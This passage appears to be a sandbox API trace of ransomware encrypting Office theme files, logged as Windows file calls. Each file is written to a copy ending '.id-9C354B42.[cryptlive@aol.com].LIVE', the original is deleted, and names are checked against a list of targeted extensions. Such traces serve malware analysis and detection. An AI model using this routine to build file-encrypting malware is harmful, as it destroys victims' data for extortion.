nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.580] SetEndOfFile (hFile=0x1f8) returned 1 [0051.580] CloseHandle (hObject=0x1f8) returned 1 [0051.581] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.581] SetEndOfFile (hFile=0x200) returned 1 [0051.582] CloseHandle (hObject=0x200) returned 1 [0051.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.582] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0051.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.582] lstrlenW (lpString=".doc") returned 4 [0051.582] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.582] lstrlenW (lpString=".docx") returned 5 [0051.582] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.582] lstrlenW (lpString=".pdf") returned 4 [0051.582] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.582] lstrlenW (lpString=".xls") returned 4 [0051.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".xlsx") returned 5 [0051.583] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.583] lstrlenW (lpString=".ppt") returned 4 [0051.583] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.583] lstrlenW (lpString=".zip") returned 4 [0051.583] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".rar") returned 4 [0051.583] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".bz2") returned 4 [0051.583] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.583] lstrlenW (lpString=".7z") returned 3 [0051.583] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.583] lstrlenW (lpString=".dbf") returned 4 [0051.583] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.583] lstrlenW (lpString=".1cd") returned 4 [0051.583] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.583] lstrlenW (lpString=".jpg") returned 4 [0051.583] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.583] lstrlenW (lpString=".doc") returned 4 [0051.583] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.583] lstrlenW (lpString=".docx") returned 5 [0051.583] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.583] lstrlenW (lpString=".pdf") returned 4 [0051.583] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.583] lstrlenW (lpString=".xls") returned 4 [0051.583] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString=".xlsx") returned 5 [0051.584] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.584] lstrlenW (lpString=".ppt") returned 4 [0051.584] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.584] lstrlenW (lpString=".zip") returned 4 [0051.584] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString=".rar") returned 4 [0051.584] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.584] lstrlenW (lpString=".bz2") returned 4 [0051.584] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.584] lstrlenW (lpString=".7z") returned 3 [0051.584] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.584] lstrlenW (lpString=".dbf") returned 4 [0051.584] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.584] lstrlenW (lpString=".1cd") returned 4 [0051.584] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.584] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0051.584] lstrlenW (lpString=".jpg") returned 4 [0051.584] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.584] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.584] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.584] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.589] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1423) returned 1 [0051.589] CloseHandle (hObject=0x200) returned 1 [0051.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0051.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.590] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.590] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.590] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.592] GetLastError () returned 0x0 [0051.592] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x58f, lpOverlapped=0x0) returned 1 [0051.594] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x590, lpOverlapped=0x0) returned 1 [0051.595] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.595] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.595] SetEndOfFile (hFile=0x1f8) returned 1 [0051.595] CloseHandle (hObject=0x1f8) returned 1 [0051.595] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.595] SetEndOfFile (hFile=0x200) returned 1 [0051.596] CloseHandle (hObject=0x200) returned 1 [0051.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.596] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0051.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.597] lstrlenW (lpString=".doc") returned 4 [0051.597] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.597] lstrlenW (lpString=".docx") returned 5 [0051.597] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.597] lstrlenW (lpString=".pdf") returned 4 [0051.597] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.597] lstrlenW (lpString=".xls") returned 4 [0051.597] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.597] lstrlenW (lpString=".xlsx") returned 5 [0051.597] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.597] lstrlenW (lpString=".ppt") returned 4 [0051.597] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.597] lstrlenW (lpString=".zip") returned 4 [0051.597] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.597] lstrlenW (lpString=".rar") returned 4 [0051.597] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.597] lstrlenW (lpString=".bz2") returned 4 [0051.597] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.597] lstrlenW (lpString=".7z") returned 3 [0051.597] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.597] lstrlenW (lpString=".dbf") returned 4 [0051.597] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.597] lstrlenW (lpString=".1cd") returned 4 [0051.597] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.597] lstrlenW (lpString=".jpg") returned 4 [0051.598] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.598] lstrlenW (lpString=".doc") returned 4 [0051.598] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.598] lstrlenW (lpString=".docx") returned 5 [0051.598] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.598] lstrlenW (lpString=".pdf") returned 4 [0051.598] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.598] lstrlenW (lpString=".xls") returned 4 [0051.598] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.598] lstrlenW (lpString=".xlsx") returned 5 [0051.598] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.598] lstrlenW (lpString=".ppt") returned 4 [0051.598] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.598] lstrlenW (lpString=".zip") returned 4 [0051.598] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.598] lstrlenW (lpString=".rar") returned 4 [0051.598] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.598] lstrlenW (lpString=".bz2") returned 4 [0051.598] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.598] lstrlenW (lpString=".7z") returned 3 [0051.598] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.598] lstrlenW (lpString=".dbf") returned 4 [0051.598] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.598] lstrlenW (lpString=".1cd") returned 4 [0051.598] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0051.598] lstrlenW (lpString=".jpg") returned 4 [0051.598] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.599] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.599] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.599] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=15737) returned 1 [0051.599] CloseHandle (hObject=0x200) returned 1 [0051.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0051.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.599] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.599] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.600] GetLastError () returned 0x0 [0051.600] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0051.602] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0051.603] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.603] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.603] SetEndOfFile (hFile=0x1f8) returned 1 [0051.604] CloseHandle (hObject=0x1f8) returned 1 [0051.604] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.604] SetEndOfFile (hFile=0x200) returned 1 [0051.605] CloseHandle (hObject=0x200) returned 1 [0051.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.609] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0051.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.609] lstrlenW (lpString=".doc") returned 4 [0051.609] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.609] lstrlenW (lpString=".docx") returned 5 [0051.609] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.609] lstrlenW (lpString=".pdf") returned 4 [0051.609] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.610] lstrlenW (lpString=".xls") returned 4 [0051.610] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.610] lstrlenW (lpString=".xlsx") returned 5 [0051.610] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.610] lstrlenW (lpString=".ppt") returned 4 [0051.610] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.610] lstrlenW (lpString=".zip") returned 4 [0051.610] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.610] lstrlenW (lpString=".rar") returned 4 [0051.610] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.610] lstrlenW (lpString=".bz2") returned 4 [0051.610] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.610] lstrlenW (lpString=".7z") returned 3 [0051.610] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.610] lstrlenW (lpString=".dbf") returned 4 [0051.610] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.610] lstrlenW (lpString=".1cd") returned 4 [0051.610] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.610] lstrlenW (lpString=".jpg") returned 4 [0051.610] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.611] lstrlenW (lpString=".doc") returned 4 [0051.611] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.611] lstrlenW (lpString=".docx") returned 5 [0051.611] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.611] lstrlenW (lpString=".pdf") returned 4 [0051.611] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.611] lstrlenW (lpString=".xls") returned 4 [0051.611] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.611] lstrlenW (lpString=".xlsx") returned 5 [0051.611] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.611] lstrlenW (lpString=".ppt") returned 4 [0051.611] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.611] lstrlenW (lpString=".zip") returned 4 [0051.611] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.611] lstrlenW (lpString=".rar") returned 4 [0051.611] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.611] lstrlenW (lpString=".bz2") returned 4 [0051.611] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.611] lstrlenW (lpString=".7z") returned 3 [0051.611] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.611] lstrlenW (lpString=".dbf") returned 4 [0051.611] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.612] lstrlenW (lpString=".1cd") returned 4 [0051.612] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0051.612] lstrlenW (lpString=".jpg") returned 4 [0051.612] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.612] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.612] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.613] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=3970) returned 1 [0051.613] CloseHandle (hObject=0x200) returned 1 [0051.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0051.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0051.613] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.613] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.616] GetLastError () returned 0x0 [0051.616] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0xf82, lpOverlapped=0x0) returned 1 [0051.618] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0051.619] ReadFile (in: hFile=0x200, lpBuffer=0x35f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x35f0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.619] WriteFile (in: hFile=0x1f8, lpBuffer=0x35f0020*, 